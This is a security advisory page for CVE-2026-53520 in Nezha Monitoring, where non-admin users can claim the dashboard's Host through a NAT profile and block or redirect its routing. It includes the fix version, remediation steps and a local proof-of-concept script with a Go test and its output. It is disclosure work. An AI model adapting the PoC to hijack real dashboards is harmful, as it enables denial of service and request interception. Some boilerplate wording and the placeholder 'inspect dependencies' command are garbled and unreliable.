CVE-2026-53520: Nezha Monitoring Authenticated Users Can Claim The Vulnerability

MODERATE
Advisory Identifier: GHSA-x6fg-52vr-hj4w
CVSS 6.5
CWE-284
Published
Advisory Summary

CVE-2026-53520 is a MODERATE (CVSS 6.5) authenticated users can claim the vulnerability (CWE-284: Improper Access Control) affecting Nezha Monitoring libraries in the Go ecosystem. The issue involves authenticated users can claim the dashboard host through nat and preempt all dashboard routing. Remediation is available by upgrading affected packages to version 2.1.0.

CVE-2026-53520 at a Glance

CVE Identifier CVE-2026-53520
GHSA Identifier GHSA-x6fg-52vr-hj4w
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-284: Improper Access Control
Affected Product Nezha Monitoring
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-53520

To remediate this vulnerability, upgrade all affected Nezha Monitoring dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/nezhahq/nezha fixed: 2.1.0
Upgrade github.com/nezhahq/nezha to 2.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/nezhahq/nezha

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53520, inspect your project dependencies for Nezha Monitoring:

inspect dependencies for github.com/nezhahq/nezha

Analyze the terminal output to locate any version of Nezha Monitoring in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Nezha Monitoring, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authenticated non-admin user who owns any server can create or update a NAT profile whose `domain` is equal to the dashboard's own HTTP Host (for example, `dashboard.example:8008`). The dashboard's top-level HTTP/gRPC multiplexer checks `NATShared.GetNATConfigByDomain(r.Host)` before dispatching requests to the dashboard API, frontend, or gRPC handler, so a member-controlled NAT profile for the dashboard Host takes precedence over the real dashboard. A disabled claimed NAT profile blocks matching dashboard requests before they reach the dashboard handler. An enabled claimed NAT profile routes matching requests into `ServeNAT`, which sends a NAT task to the member's selected agent and wraps the original HTTP request into the NAT IO stream. This allows a low-privileged dashboard user to take over routing for a global host name that should be reserved for the dashboard operator. Tested locally against commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202` of `github.com/nezhahq/nezha`. ### Details The NAT management API is exposed to any authenticated user, not just administrators: `auth.POST("/nat", commonHandler(createNAT))` and `auth.PATCH("/nat/:id", commonHandler(updateNAT))` are registered in `cmd/dashboard/controller/controller.go:147-150`. `createNAT` accepts the request body into `model.NATForm`, verifies only that the selected server exists and `server.HasPermission(c)` succeeds, then stores the caller-controlled `nf.Domain` directly into `n.Domain` and updates the shared NAT cache (`cmd/dashboard/controller/nat.go:48-80`). `updateNAT` performs the same assignment after checking ownership of the selected server and existing NAT record (`cmd/dashboard/controller/nat.go:96-140`). `NATForm.Domain` is an unconstrained string with no reserved-host or host-ownership validation (`model/nat_api.go:3-9`), and `model.NAT.Domain` is only globally unique in the database (`model/nat.go:3-10`). The singleton NAT cache indexes persisted NAT profiles directly by `profile.Domain` in `NewNATClass` (`service/singleton/nat.go:17-25`) and writes updates into the same map with `c.list[n.Domain] = n` (`service/singleton/nat.go:37-45`). Runtime lookup is an exact map lookup of the incoming Host string (`service/singleton/nat.go:65-69`). The routing boundary is global: `newHTTPandGRPCMux` checks `singleton.NATShared.GetNATConfigByDomain(r.Host)` before it checks for gRPC or invokes the dashboard HTTP handler (`cmd/dashboard/main.go:207-225`). If the NAT profile exists but is disabled, the router returns the WAF block page and never reaches the dashboard (`cmd/dashboard/main.go:209-214`). If it is enabled, the router calls `rpc.ServeNAT(w, r, natConfig)` and returns (`cmd/dashboard/main.go:216-217`). `ServeNAT` selects the server from the NAT profile, requires that server's task stream to be online, sends a `TaskTypeNAT` task containing the NAT target host, then calls `utils.NewRequestWrapper(r, w)` and attaches the wrapped original request to the IO stream (`cmd/dashboard/rpc/rpc.go:142-204`). The request wrapper serializes the original request with `req.Write(buf)`, which includes the request line and headers, before streaming it over the hijacked connection (`pkg/utils/request_wrapper.go:19-31`). This is the intended NAT tunnel behavior, but it is unsafe when an ordinary user can bind the dashboard's own Host name. Default/common exposure evidence: the dashboard binary is the primary shipped component of module `github.com/nezhahq/nezha` (`go.mod:1`), listens on port `8008` when `listen_port` is unset (`model/config.go:146-148`), and the Dockerfile exposes `8008` (`Dockerfile:14-18`). NAT management is part of the authenticated dashboard route set, so the vulnerable path is reachable in a default dashboard deployment with multiple users or any non-admin user who controls a server. False-positive checks performed: - The NAT routes are authenticated but not admin-only (`cmd/dashboard/controller/controller.go:147-150`). - The only create-time authorization check is ownership of the selected server (`cmd/dashboard/controller/nat.go:56-65`), not authority over the claimed Host. - The update path likewise accepts a caller-controlled replacement domain after ownership checks (`cmd/dashboard/controller/nat.go:109-139`). - The NAT cache uses the domain string as the global dispatch key without reserving the dashboard Host (`service/singleton/nat.go:17-25`, `service/singleton/nat.go:37-45`, `service/singleton/nat.go:65-69`). - The top-level mux checks NAT before dashboard/gRPC routing (`cmd/dashboard/main.go:207-225`). - A control request using a different Host reaches the dashboard handler in the local reproduction, ruling out a generic handler failure. Candidate score: 16/18. - Reachability: 2 — authenticated NAT API and top-level mux are default dashboard paths. - Attacker control: 2 — `NATForm.Domain` is directly controlled by the authenticated caller. - Privilege required: 1 — requires an authenticated user with an owned server; no admin role is required. - Sink impact: 2 — matching dashboard Host traffic is blocked or routed into the attacker's NAT stream instead of the dashboard. - Mitigation weakness: 2 — no dashboard-host reservation, domain ownership validation, or post-parse host authorization was found. - Default exposure: 2 — dashboard listens on/exposes port 8008 by default and NAT routes are registered in the default authenticated API. - Safe reproduction feasibility: 2 — reproduced locally with a safe temporary unit-test harness and local SQLite database. - Static certainty: 2 — source-to-sink chain is complete from JSON body to NAT cache to global router. - False-positive resistance: 1 — disabled-route preemption is dynamically proven; enabled-route forwarding is supported by code path but was not exercised with a real agent binary in this repository checkout. Exploitability gate result: confirmed for authenticated dashboard Host preemption and denial of service. Enabled-route request forwarding is included as impact rationale from the exact `ServeNAT` source path, but the reproducible proof uses a disabled NAT profile to avoid requiring a live agent. ### PoC The following safe local reproduction adds only temporary test/stub files, uses a temporary SQLite database, runs the real unexported `newHTTPandGRPCMux`, and removes all temporary files on exit. It does not start a public listener or contact external systems. Run from a clean checkout of commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202`: ```bash cleanup() { rm -f cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cmd/dashboard/docs/docs.go cmd/dashboard/nat_host_claim_tmp_test.go; rmdir cmd/dashboard/docs 2>/dev/null || true; } cleanup mkdir -p cmd/dashboard/docs printf 'placeholder' > cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt printf 'placeholder' > cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cat > cmd/dashboard/docs/docs.go <<'EOF' package docs var SwaggerInfo = struct{ Version string }{Version: "test"} EOF cat > cmd/dashboard/nat_host_claim_tmp_test.go <<'EOF' package main import ( "fmt" "net/http" "net/http/httptest" "os" "path/filepath" "testing" "github.com/nezhahq/nezha/model" "github.com/nezhahq/nezha/service/singleton" "gorm.io/driver/sqlite" "gorm.io/gorm" ) func TestNATDomainPreemptsDashboardHost(t *testing.T) { dbPath := filepath.Join(t.TempDir(), "nezha-nat-host-poc.sqlite") db, err := gorm.Open(sqlite.Open(dbPath), &gorm.Config{}) if err != nil { t.Fatal(err) } singleton.DB = db if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.NAT{}); err != nil { t.Fatal(err) } member := model.User{Username: "member", Role: model.RoleMember, Password: "unused"} if err := db.Create(&member).Error; err != nil { t.Fatal(err) } server := model.Server{Common: model.Common{UserID: member.ID}, UUID: "11111111-1111-1111-1111-111111111111", Name: "member-agent"} if err := db.Create(&server).Error; err != nil { t.Fatal(err) } nat := model.NAT{Common: model.Common{UserID: member.ID}, Enabled: false, Domain: "dashboard.example:8008", Host: "127.0.0.1:18080", ServerID: server.ID, Name: "claim-dashboard-host"} if err := db.Create(&nat).Error; err != nil { t.Fatal(err) } singleton.NATShared = singleton.NewNATClass() httpHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusTeapot) _, _ = w.Write([]byte("dashboard handler reached")) }) grpcHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusAccepted) }) h := newHTTPandGRPCMux(httpHandler, grpcHandler) req := httptest.NewRequest(http.MethodGet, "http://dashboard.example:8008/api/v1/profile", nil) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code == http.StatusTeapot || rec.Body.String() == "dashboard handler reached" { t.Fatalf("dashboard handler was reached despite claimed NAT host: code=%d body=%q", rec.Code, rec.Body.String()) } fmt.Fprintf(os.Stdout, "positive: Host %s matched disabled member NAT id=%d and preempted dashboard handler with status=%d\n", req.Host, nat.ID, rec.Code) controlReq := httptest.NewRequest(http.MethodGet, "http://other.example:8008/api/v1/profile", nil) controlRec := httptest.NewRecorder() h.ServeHTTP(controlRec, controlReq) if controlRec.Code != http.StatusTeapot || controlRec.Body.String() != "dashboard handler reached" { t.Fatalf("control host did not reach dashboard handler: code=%d body=%q", controlRec.Code, controlRec.Body.String()) } fmt.Fprintf(os.Stdout, "control: Host %s missed NAT and reached dashboard handler with status=%d\n", controlReq.Host, controlRec.Code) } EOF trap cleanup EXIT GOPROXY=off go test ./cmd/dashboard -run TestNATDomainPreemptsDashboardHost -count=1 -v ``` Observed vulnerable output in this environment: ```text === RUN TestNATDomainPreemptsDashboardHost positive: Host dashboard.example:8008 matched disabled member NAT id=1 and preempted dashboard handler with status=403 control: Host other.example:8008 missed NAT and reached dashboard handler with status=418 --- PASS: TestNATDomainPreemptsDashboardHost (0.11s) PASS ok github.com/nezhahq/nezha/cmd/dashboard 0.132s ``` Expected vulnerable output: the positive request for `dashboard.example:8008` must not return the dashboard handler's `418` response; it should be intercepted by the disabled NAT profile and return the WAF/block status. The control request for `other.example:8008` must reach the dashboard handler and return `418` with body `dashboard handler reached`. Cleanup: the shell `trap cleanup EXIT` removes the temporary test file, temporary generated docs stub, and temporary embed placeholders. The SQLite database is created under `t.TempDir()` and removed by Go's test cleanup. Final re-check: the reproduction above was run after source-to-sink analysis and before writing this draft; it passed with the exact output shown above. ### Impact A non-admin authenticated user can bind a global routing key that belongs to the dashboard operator. If the attacker sets `enabled=false`, all requests carrying the claimed dashboard Host are blocked before reaching dashboard API, frontend, or gRPC handlers. This can deny access to the dashboard for all users who use that Host. If the attacker sets `enabled=true` and keeps the selected owned agent online, the matching requests enter `ServeNAT`: the dashboard sends a NAT task to that agent and streams the serialized original HTTP request into the NAT IO stream. Because `utils.NewRequestWrapper` serializes the original request with headers, dashboard requests that should have been processed locally can be forwarded to infrastructure controlled by the low-privileged user. The local proof avoids this stronger enabled-agent path, but the source path is direct in `cmd/dashboard/rpc/rpc.go:142-204` and `pkg/utils/request_wrapper.go:19-31`. ### Suggested remediation Do not allow ordinary NAT profiles to claim dashboard-owned hosts. Recommended fixes: 1. Canonicalize incoming Host values and NAT domain values consistently, including case and port handling. 2. Add a server-side reserved-host check in both `createNAT` and `updateNAT` that rejects the configured dashboard public host(s), listen host/port combinations, and any administrator-reserved domains. 3. Consider making NAT domain creation admin-approved unless the deployment can verify domain ownership for the requesting user. 4. In the top-level mux, route dashboard/gRPC hosts before NAT when the Host is known to belong to the dashboard. 5. Add regression tests covering create, update, cache reload, and mux behavior for dashboard-host collisions. A useful regression test is the PoC above inverted: a member-created NAT with `Domain` equal to the configured dashboard Host should be rejected by the controller, and a request with the dashboard Host should continue to reach the dashboard handler.

CVE-2026-53520 Affected Nezha Monitoring Versions

1 component(s)
Fixed Versions:
2.1.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/nezhahq/nezha
Go
≥ 2.0.14
< 2.1.0
2.1.0

References

Frequently Asked Questions

What is CVE-2026-53520?
CVE-2026-53520 is a security vulnerability in Nezha Monitoring involving Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing under CWE-284: Improper Access Control.
Which Nezha Monitoring versions are affected?
Affected versions include releases prior to 2.1.0 across affected packages: github.com/nezhahq/nezha.
What version fixes CVE-2026-53520?
Upgrading to 2.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nezhahq/nezha affected?
Yes, github.com/nezhahq/nezha is affected in releases prior to 2.1.0. Upgrade your dependency to 2.1.0 or later.
What is the CVSS score of CVE-2026-53520?
CVE-2026-53520 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-53520?
CVE-2026-53520 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-53520?
Run the dependency tree command: 'inspect dependencies for github.com/nezhahq/nezha'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x6fg-52vr-hj4w",
  "modified" : "2026-06-26T23:00:14Z",
  "published" : "2026-06-26T23:00:14Z",
  "aliases" : [ "CVE-2026-53520" ],
  "summary" : "Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing",
  "details" : "### Summary\nAn authenticated non-admin user who owns any server can create or update a NAT profile whose `domain` is equal to the dashboard's own HTTP Host (for example, `dashboard.example:8008`). The dashboard's top-level HTTP/gRPC multiplexer checks `NATShared.GetNATConfigByDomain(r.Host)` before dispatching requests to the dashboard API, frontend, or gRPC handler, so a member-controlled NAT profile for the dashboard Host takes precedence over the real dashboard.\n\nA disabled claimed NAT profile blocks matching dashboard requests before they reach the dashboard handler. An enabled claimed NAT profile routes matching requests into `ServeNAT`, which sends a NAT task to the member's selected agent and wraps the original HTTP request into the NAT IO stream. This allows a low-privileged dashboard user to take over routing for a global host name that should be reserved for the dashboard operator.\n\nTested locally against commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202` of `github.com/nezhahq/nezha`.\n\n### Details\nThe NAT management API is exposed to any authenticated user, not just administrators: `auth.POST(\"/nat\", commonHandler(createNAT))` and `auth.PATCH(\"/nat/:id\", commonHandler(updateNAT))` are registered in `cmd/dashboard/controller/controller.go:147-150`.\n\n`createNAT` accepts the request body into `model.NATForm`, verifies only that the selected server exists and `server.HasPermission(c)` succeeds, then stores the caller-controlled `nf.Domain` directly into `n.Domain` and updates the shared NAT cache (`cmd/dashboard/controller/nat.go:48-80`). `updateNAT` performs the same assignment after checking ownership of the selected server and existing NAT record (`cmd/dashboard/controller/nat.go:96-140`). `NATForm.Domain` is an unconstrained string with no reserved-host or host-ownership validation (`model/nat_api.go:3-9`), and `model.NAT.Domain` is only globally unique in the database (`model/nat.go:3-10`).\n\nThe singleton NAT cache indexes persisted NAT profiles directly by `profile.Domain` in `NewNATClass` (`service/singleton/nat.go:17-25`) and writes updates into the same map with `c.list[n.Domain] = n` (`service/singleton/nat.go:37-45`). Runtime lookup is an exact map lookup of the incoming Host string (`service/singleton/nat.go:65-69`).\n\nThe routing boundary is global: `newHTTPandGRPCMux` checks `singleton.NATShared.GetNATConfigByDomain(r.Host)` before it checks for gRPC or invokes the dashboard HTTP handler (`cmd/dashboard/main.go:207-225`). If the NAT profile exists but is disabled, the router returns the WAF block page and never reaches the dashboard (`cmd/dashboard/main.go:209-214`). If it is enabled, the router calls `rpc.ServeNAT(w, r, natConfig)` and returns (`cmd/dashboard/main.go:216-217`).\n\n`ServeNAT` selects the server from the NAT profile, requires that server's task stream to be online, sends a `TaskTypeNAT` task containing the NAT target host, then calls `utils.NewRequestWrapper(r, w)` and attaches the wrapped original request to the IO stream (`cmd/dashboard/rpc/rpc.go:142-204`). The request wrapper serializes the original request with `req.Write(buf)`, which includes the request line and headers, before streaming it over the hijacked connection (`pkg/utils/request_wrapper.go:19-31`). This is the intended NAT tunnel behavior, but it is unsafe when an ordinary user can bind the dashboard's own Host name.\n\nDefault/common exposure evidence: the dashboard binary is the primary shipped component of module `github.com/nezhahq/nezha` (`go.mod:1`), listens on port `8008` when `listen_port` is unset (`model/config.go:146-148`), and the Dockerfile exposes `8008` (`Dockerfile:14-18`). NAT management is part of the authenticated dashboard route set, so the vulnerable path is reachable in a default dashboard deployment with multiple users or any non-admin user who controls a server.\n\nFalse-positive checks performed:\n\n- The NAT routes are authenticated but not admin-only (`cmd/dashboard/controller/controller.go:147-150`).\n- The only create-time authorization check is ownership of the selected server (`cmd/dashboard/controller/nat.go:56-65`), not authority over the claimed Host.\n- The update path likewise accepts a caller-controlled replacement domain after ownership checks (`cmd/dashboard/controller/nat.go:109-139`).\n- The NAT cache uses the domain string as the global dispatch key without reserving the dashboard Host (`service/singleton/nat.go:17-25`, `service/singleton/nat.go:37-45`, `service/singleton/nat.go:65-69`).\n- The top-level mux checks NAT before dashboard/gRPC routing (`cmd/dashboard/main.go:207-225`).\n- A control request using a different Host reaches the dashboard handler in the local reproduction, ruling out a generic handler failure.\n\nCandidate score: 16/18.\n\n- Reachability: 2 — authenticated NAT API and top-level mux are default dashboard paths.\n- Attacker control: 2 — `NATForm.Domain` is directly controlled by the authenticated caller.\n- Privilege required: 1 — requires an authenticated user with an owned server; no admin role is required.\n- Sink impact: 2 — matching dashboard Host traffic is blocked or routed into the attacker's NAT stream instead of the dashboard.\n- Mitigation weakness: 2 — no dashboard-host reservation, domain ownership validation, or post-parse host authorization was found.\n- Default exposure: 2 — dashboard listens on/exposes port 8008 by default and NAT routes are registered in the default authenticated API.\n- Safe reproduction feasibility: 2 — reproduced locally with a safe temporary unit-test harness and local SQLite database.\n- Static certainty: 2 — source-to-sink chain is complete from JSON body to NAT cache to global router.\n- False-positive resistance: 1 — disabled-route preemption is dynamically proven; enabled-route forwarding is supported by code path but was not exercised with a real agent binary in this repository checkout.\n\nExploitability gate result: confirmed for authenticated dashboard Host preemption and denial of service. Enabled-route request forwarding is included as impact rationale from the exact `ServeNAT` source path, but the reproducible proof uses a disabled NAT profile to avoid requiring a live agent.\n\n### PoC\nThe following safe local reproduction adds only temporary test/stub files, uses a temporary SQLite database, runs the real unexported `newHTTPandGRPCMux`, and removes all temporary files on exit. It does not start a public listener or contact external systems.\n\nRun from a clean checkout of commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202`:\n\n```bash\ncleanup() { rm -f cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt cmd/dashboard/docs/docs.go cmd/dashboard/nat_host_claim_tmp_test.go; rmdir cmd/dashboard/docs 2>/dev/null || true; }\ncleanup\nmkdir -p cmd/dashboard/docs\nprintf 'placeholder' > cmd/dashboard/admin-dist/claude_nat_poc_placeholder.txt\nprintf 'placeholder' > cmd/dashboard/user-dist/claude_nat_poc_placeholder.txt\ncat > cmd/dashboard/docs/docs.go <<'EOF'\npackage docs\n\nvar SwaggerInfo = struct{ Version string }{Version: \"test\"}\nEOF\ncat > cmd/dashboard/nat_host_claim_tmp_test.go <<'EOF'\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/nezhahq/nezha/model\"\n\t\"github.com/nezhahq/nezha/service/singleton\"\n\t\"gorm.io/driver/sqlite\"\n\t\"gorm.io/gorm\"\n)\n\nfunc TestNATDomainPreemptsDashboardHost(t *testing.T) {\n\tdbPath := filepath.Join(t.TempDir(), \"nezha-nat-host-poc.sqlite\")\n\tdb, err := gorm.Open(sqlite.Open(dbPath), &gorm.Config{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsingleton.DB = db\n\tif err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.NAT{}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tmember := model.User{Username: \"member\", Role: model.RoleMember, Password: \"unused\"}\n\tif err := db.Create(&member).Error; err != nil {\n\t\tt.Fatal(err)\n\t}\n\tserver := model.Server{Common: model.Common{UserID: member.ID}, UUID: \"11111111-1111-1111-1111-111111111111\", Name: \"member-agent\"}\n\tif err := db.Create(&server).Error; err != nil {\n\t\tt.Fatal(err)\n\t}\n\tnat := model.NAT{Common: model.Common{UserID: member.ID}, Enabled: false, Domain: \"dashboard.example:8008\", Host: \"127.0.0.1:18080\", ServerID: server.ID, Name: \"claim-dashboard-host\"}\n\tif err := db.Create(&nat).Error; err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsingleton.NATShared = singleton.NewNATClass()\n\n\thttpHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusTeapot)\n\t\t_, _ = w.Write([]byte(\"dashboard handler reached\"))\n\t})\n\tgrpcHandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusAccepted)\n\t})\n\th := newHTTPandGRPCMux(httpHandler, grpcHandler)\n\n\treq := httptest.NewRequest(http.MethodGet, \"http://dashboard.example:8008/api/v1/profile\", nil)\n\trec := httptest.NewRecorder()\n\th.ServeHTTP(rec, req)\n\tif rec.Code == http.StatusTeapot || rec.Body.String() == \"dashboard handler reached\" {\n\t\tt.Fatalf(\"dashboard handler was reached despite claimed NAT host: code=%d body=%q\", rec.Code, rec.Body.String())\n\t}\n\tfmt.Fprintf(os.Stdout, \"positive: Host %s matched disabled member NAT id=%d and preempted dashboard handler with status=%d\\n\", req.Host, nat.ID, rec.Code)\n\n\tcontrolReq := httptest.NewRequest(http.MethodGet, \"http://other.example:8008/api/v1/profile\", nil)\n\tcontrolRec := httptest.NewRecorder()\n\th.ServeHTTP(controlRec, controlReq)\n\tif controlRec.Code != http.StatusTeapot || controlRec.Body.String() != \"dashboard handler reached\" {\n\t\tt.Fatalf(\"control host did not reach dashboard handler: code=%d body=%q\", controlRec.Code, controlRec.Body.String())\n\t}\n\tfmt.Fprintf(os.Stdout, \"control: Host %s missed NAT and reached dashboard handler with status=%d\\n\", controlReq.Host, controlRec.Code)\n}\nEOF\ntrap cleanup EXIT\nGOPROXY=off go test ./cmd/dashboard -run TestNATDomainPreemptsDashboardHost -count=1 -v\n```\n\nObserved vulnerable output in this environment:\n\n```text\n=== RUN   TestNATDomainPreemptsDashboardHost\npositive: Host dashboard.example:8008 matched disabled member NAT id=1 and preempted dashboard handler with status=403\ncontrol: Host other.example:8008 missed NAT and reached dashboard handler with status=418\n--- PASS: TestNATDomainPreemptsDashboardHost (0.11s)\nPASS\nok  \tgithub.com/nezhahq/nezha/cmd/dashboard\t0.132s\n```\n\nExpected vulnerable output: the positive request for `dashboard.example:8008` must not return the dashboard handler's `418` response; it should be intercepted by the disabled NAT profile and return the WAF/block status. The control request for `other.example:8008` must reach the dashboard handler and return `418` with body `dashboard handler reached`.\n\nCleanup: the shell `trap cleanup EXIT` removes the temporary test file, temporary generated docs stub, and temporary embed placeholders. The SQLite database is created under `t.TempDir()` and removed by Go's test cleanup.\n\nFinal re-check: the reproduction above was run after source-to-sink analysis and before writing this draft; it passed with the exact output shown above.\n\n### Impact\nA non-admin authenticated user can bind a global routing key that belongs to the dashboard operator. If the attacker sets `enabled=false`, all requests carrying the claimed dashboard Host are blocked before reaching dashboard API, frontend, or gRPC handlers. This can deny access to the dashboard for all users who use that Host.\n\nIf the attacker sets `enabled=true` and keeps the selected owned agent online, the matching requests enter `ServeNAT`: the dashboard sends a NAT task to that agent and streams the serialized original HTTP request into the NAT IO stream. Because `utils.NewRequestWrapper` serializes the original request with headers, dashboard requests that should have been processed locally can be forwarded to infrastructure controlled by the low-privileged user. The local proof avoids this stronger enabled-agent path, but the source path is direct in `cmd/dashboard/rpc/rpc.go:142-204` and `pkg/utils/request_wrapper.go:19-31`.\n\n### Suggested remediation\nDo not allow ordinary NAT profiles to claim dashboard-owned hosts. Recommended fixes:\n\n1. Canonicalize incoming Host values and NAT domain values consistently, including case and port handling.\n2. Add a server-side reserved-host check in both `createNAT` and `updateNAT` that rejects the configured dashboard public host(s), listen host/port combinations, and any administrator-reserved domains.\n3. Consider making NAT domain creation admin-approved unless the deployment can verify domain ownership for the requesting user.\n4. In the top-level mux, route dashboard/gRPC hosts before NAT when the Host is known to belong to the dashboard.\n5. Add regression tests covering create, update, cache reload, and mux behavior for dashboard-host collisions.\n\nA useful regression test is the PoC above inverted: a member-created NAT with `Domain` equal to the configured dashboard Host should be rejected by the controller, and a request with the dashboard Host should continue to reach the dashboard handler.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nezhahq/nezha"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.14"
      }, {
        "fixed" : "2.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nezhahq/nezha/security/advisories/GHSA-x6fg-52vr-hj4w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53520"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nezhahq/nezha"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T23:00:14Z",
    "nvd_published_at" : "2026-06-12T22:16:52Z"
  }
}